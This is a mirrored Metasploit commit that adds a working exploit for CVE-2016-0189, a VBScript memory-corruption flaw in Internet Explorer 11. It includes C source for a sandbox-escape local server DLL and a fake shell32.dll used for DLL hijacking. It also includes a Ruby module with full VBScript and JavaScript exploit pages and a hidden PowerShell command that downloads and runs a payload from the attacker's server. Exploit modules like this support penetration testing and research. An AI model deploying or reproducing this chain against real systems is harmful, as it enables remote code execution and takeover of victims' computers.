1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

add exploit for cve-2016-0189

This commit is contained in:
William Webb 2016-08-01 13:26:35 -05:00
parent 10653fadb1
commit 21e6211e8d
5 changed files with 716 additions and 0 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,183 @@
/*
From: https://gist.github.com/worawit/1213febe36aa8331e092
Simple local HTTP server for IE (with no AppContainer) privilege escalation.
I implemented local server instead of proxy in Ref because
local server is easier to code. But local server is less useful then proxy.
Ref:
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
Note:
From my test, by default IE does not configure intranet site.
With this default, localhost is treated as internet site (run as low integrity).
*/
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
#define SERVER_PORT 5555
static HANDLE hThread = NULL;
static WCHAR stage2file[256];
static SOCKET serverSk = INVALID_SOCKET;
static SOCKET peerSk = INVALID_SOCKET;
static SOCKET create_server()
{
struct sockaddr_in skAddr;
SOCKET sk;
int optval;
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sk == INVALID_SOCKET)
return INVALID_SOCKET;
optval = 1;
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
memset(&skAddr, 0, sizeof(skAddr));
skAddr.sin_family = AF_INET;
skAddr.sin_port = htons(SERVER_PORT);
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
goto on_error;
if (listen(sk, 5) != 0)
goto on_error;
return sk;
on_error:
closesocket(sk);
return SOCKET_ERROR;
}
static int send_all(SOCKET sk, char *buffer, int size)
{
int len;
while (size > 0) {
len = send(sk, buffer, size, 0);
if (len <= 0)
return 0;
buffer += len;
size -= len;
}
return 1;
}
static int local_server()
{
int len;
int totalSize;
char buffer[4096];
HANDLE hFile = INVALID_HANDLE_VALUE;
serverSk = create_server();
if (serverSk == INVALID_SOCKET)
return SOCKET_ERROR;
while (1) {
peerSk = accept(serverSk, NULL, NULL);
if (peerSk == INVALID_SOCKET) {
continue;
}
len = recv(peerSk, buffer, sizeof(buffer), 0);
if (len <= 0)
goto closepeer;
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
break;
totalSize = GetFileSize(hFile, NULL);
if (totalSize == INVALID_FILE_SIZE)
break;
len = _snprintf(buffer, sizeof(buffer),
"HTTP/1.1 200 OK\r\n"
"Content-Type: text/html\r\n"
"Connection: Close\r\n"
"Content-Length: %d\r\n"
"\r\n",
totalSize
);
send_all(peerSk, buffer, len);
while (totalSize > 0) {
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
send_all(peerSk, buffer, len);
totalSize -= len;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
closepeer:
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
}
if (peerSk != INVALID_SOCKET) {
closesocket(peerSk);
peerSk = INVALID_SOCKET;
}
if (serverSk != INVALID_SOCKET) {
closesocket(serverSk);
serverSk = INVALID_SOCKET;
}
return 0;
}
DWORD WINAPI threadProc(void *param)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
local_server();
WSACleanup();
DeleteFile(stage2file);
return 0;
}
void do_work()
{
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
break;
}
return TRUE;
}

View File

@ -0,0 +1,39 @@
/*
From: https://gist.github.com/worawit/1213febe36aa8331e092
Fake shell32.dll to be loaded after modified %SystemRoot%
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
static void do_work()
{
WCHAR envBuffer[256];
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
// restore system root
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
SetEnvironmentVariableW(L"MyDllPath", NULL);
// shell32.dll will be unloaded, use another dll
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
do_work();
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,494 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "template",
'Description' => %q{
This module exploits the memory corruption vulnerability (CVE-2016-0189)
present in the VBScript engine of Internet Explorer 11.
},
'License' => MSF_LICENSE,
'Author' => [
'Theori', # Original RE research and exploitation
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => HttpClients::IE,
:ua_ver => '11.0'
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows 10 with IE 11',
{
'os_flavor' => '10',
'ua_name' => 'MSIE',
'ua_ver' => '11.0'
}
]
],
'References' =>
[
[ 'CVE', '2016-0189' ],
[ 'MSB', 'MS16-051' ]
],
'Arch' => ARCH_X86_64,
'DefaultTarget' => 0))
end
def setup
# @stage2html = Rex::Text.rand_text_alphanum(6)
@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
super
end
def exploit_html(req_uri)
srvhost = datastore['SRVHOST']
srvport = datastore['SRVPORT']
template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim downloadFiles
Dim cacheRegex
Dim cacheFiles(3)
Dim downloadState
Dim pinTime
Dim oFSO
Dim oWS
Dim shell
function FindFile(path, regexFile)
FindFile = ""
For Each f in oFSO.GetFolder(path).Files
If regexFile.Test(f.Name) Then
FindFile = f.Name
Exit For
End If
Next
end function
function SearchCache(path, regexFile)
SearchCache = ""
For Each fld in oFSO.GetFolder(path).SubFolders
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
filename = FindFile(path & "\\" & fld.Name, regexFile)
If filename <> "" Then
SearchCache = path & "\\" & fld.Name & "\\" & filename
Exit For
End If
'End If
Next
end function
function loaddll()
On Error Resume Next
Set wshSystemEnv = oWS.Environment("Process")
tmpDir = oFSO.GetSpecialFolder(2)
tmpSysDir = tmpDir & "\\System32"
tmpShellFile = tmpSysDir & "\\shell32.dll"
oFSO.CreateFolder(tmpSysDir)
oFSO.MoveFile cacheFiles(0), tmpShellFile
mydllFile = tmpDir & "\\" & downloadFiles(1)
oFSO.MoveFile cacheFiles(1), mydllFile
wshSystemEnv("MyDllPath") = mydllFile
If (UBound(downloadFiles) = 2) Then
stage2File = tmpDir & "\\#{@pm_escape_html}.html"
oFSO.MoveFile cacheFiles(2), stage2File
wshSystemEnv("stage2file") = stage2File
End If
saveRoot = wshSystemEnv("SystemRoot")
wshSystemEnv("SaveSystemRoot") = saveRoot
wshSystemEnv("SystemRoot") = tmpDir
Set shell = CreateObject("Shell.Application")
If (UBound(downloadFiles) = 2) Then
call tolocal()
End If
end function
Sub OnDownloadDone()
If InStr(userAgent, "NT 5.") > 0 Then
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
Else
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
End If
Set regexFile = new regexp
regexFile.Pattern = cacheRegex(downloadState)
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
If cacheFiles(downloadState) = "" Then
Exit Sub
End If
If downloadState = UBound(downloadFiles) Then
loaddll()
Else
downloadState = downloadState + 1
DoDownload()
End If
End Sub
Sub DoDownload()
pinTime = Now
call getdll(downloadFiles(downloadState))
End Sub
Sub runshell()
downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWS = CreateObject("WScript.Shell")
downloadState = 0
DoDownload()
End Sub
</script>
<script type="text/vbscript">
Dim bl
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A
Private Sub Class_Initialize
ReDim Preserve AA(1, 2000)
A = AA
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Spray
End Class
Function getAddr (arg1, s)
bl = Null
Set bl = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set bl.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
bl = Null
Set bl = New ArrayWrapper
Dim o
o = bl.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
bl = Null
Set bl = New ArrayWrapper
bl.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set sp = New Spray
addr = getAddr(arg1, sp)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
runshell()
End Function
Function triggerBug
bl.Resize()
Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
var userAgent = navigator.userAgent;
var oReq;
function getdll(downloadFile)
{
oReq = new XMLHttpRequest();
oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
oReq.onreadystatechange = handler;
oReq.send();
}
function handler()
{
if (oReq.readyState == 4 && oReq.status == 200) {
OnDownloadDone();
}
}
function tolocal()
{
location.href = "http://localhost:5555/#{@pm_escape_html}.html";
}
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
EOF
template
end
def stage2_html(req_uri)
template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set dm = New Dummy
addr = getAddr(arg1, dm)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
Set shObj = CreateObject("Wscript.shell")
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
shObj.Run("%temp%\\#{@payload_exe}")
End Function
Function triggerBug
aw.Resize()
Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
EOF
template
end
def on_request_uri(cli, request)
# used for some debugging stuff
ies = @ieshell
ls = @localsrv
pm = @pm_escape_html
print_status("Received request: #{request.uri}")
if request.uri =~ /.*#{ies}.*$/
print_status("Sending stage two DLL ...")
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{ls}.*$/
print_status("Sending local server DLL ...")
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{pm}.*$/
rq = "#{get_resource.chomp('/')}"
gm = stage2_html(rq)
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
print_status("Sending main page ..")
send_response(cli, exploit_html(request.uri))
end
end
end